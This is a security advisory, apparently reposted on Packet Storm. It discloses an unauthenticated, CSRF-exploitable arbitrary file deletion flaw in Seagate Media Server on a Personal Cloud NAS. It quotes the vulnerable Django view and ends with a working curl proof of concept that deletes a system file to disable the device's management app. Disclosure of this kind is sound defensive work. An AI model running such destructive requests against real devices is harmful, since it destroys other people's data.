what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Seagate Media Server Arbitrary File / Folder Deletion

Seagate Media Server Arbitrary File / Folder Deletion
Posted Jan 15, 2018
Authored by Yorick Koster, Securify B.V.

Seagate Media Server on a Seagate Personal Cloud model SRN21C running firmware version 4.3.16.0 suffers from an unauthenticated arbitrary file and folder deletion vulnerability.

tags | exploit, arbitrary
SHA-256 | f3f389a36fe31dac25043a5e92d7942a029fddff9e00419ed4f652efc9e5e14c

Seagate Media Server Arbitrary File / Folder Deletion

Change Mirror Download
------------------------------------------------------------------------
Seagate Media Server allows deleting of arbitrary files and folders
------------------------------------------------------------------------
Yorick Koster, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Seagate Personal Cloud is a consumer-grade Network-Attached Storage
device (NAS). It was found that Seagate Media Server can be used by
unauthenticated attackers to delete arbitrary files and folders on the
NAS. Since Seagate Media Server is running with root privileges it is
possible to remove almost any file on the NAS. The application lacks
protection against CSRF attacks, and is accessible via the
personalcloud.local domain name. Due to this it is possible to exploit
this issue via a malicious website without requiring the NAS to be
directly accessible over the internet.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a Seagate Personal Cloud model SRN21C running
firmware version 4.3.16.0. It is likely that other devices/models are
also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Seagate has released firmware version 4.3.18.0 in which the vulnerable
endpoint is no longer exposed, which as a result fixes this issue.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/seagate-media-server-allows-deleting-of-arbitrary-files-and-folders.html


Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
)),
".psp/"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. The delete view is mapped to the delete.psp URL path. This views allows users to delete files from shares.

(r'^m/delete.psp', delete),
(r'^delete.psp', delete),

The delete.psp endpoint is accessible for unauthenticated users. No validation is performed on the paths that are provided to this endpoint. Consequently, any path can be provided and the application will attempt to remove the provided path(s).

/usr/lib/django_host/seagate_media_server/views.py:

@csrf_exempt
def delete(request):
if (checkDBSQLite()) : return render_to_response("database_init.html")
#syslog.syslog("delete()")
try: #D.L. 1/19/2013 If exception happens - return stat: failed

pathToDelete = request.POST.get('pathToDelete','')
#logDebug("pathToDelete: '%s'", pathToDelete)
fileFolderPath = json.loads(pathToDelete)
some_files_do_not_exist = False #D.L. 1/19/2013
data = fileFolderPath["data"]
if data.has_key("folders") and data["folders"] != '':
for folder in data["folders"]:
folder = urllib.unquote(folder.encode('utf-8'))
#syslog.syslog("folder %s" % folder)
if os.path.isdir(folder): #D.L. 1/19/2013
DBRecords.Records().callDatabaseDelete(folder,PriorityLevel.UI)
shutil.rmtree(folder)
else: #D.L. 1/19/2013
#syslog.syslog("folder %s is not a dir" % folder)
some_files_do_not_exist = True #D.L. 1/19/2013

if data.has_key("files") and data["files"] != '':
for file in data["files"]:
file = urllib.unquote(file.encode('utf-8'))
#syslog.syslog("file %s" % file)
if os.path.exists(file): #D.L. 1/19/2013
DBRecords.Records().callDatabaseDelete(file,PriorityLevel.UI)
os.remove(file)
else: #D.L. 1/19/2013
#syslog.syslog("file %s does not exist" % file)
some_files_do_not_exist = True #D.L. 1/19/2013
[...]

Proof of concept

The curl command below uses the delete.psp endpoint to delete the /etc/unicorn.db file, effectively disabling the management web application.

curl -i -s -k -X $'POST' \
--data-binary $'pathToDelete={\"data\":{\"folders\":[\"/etc/unicorn.db\"]}}' \
$'https://personalcloud.local/delete.psp'


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close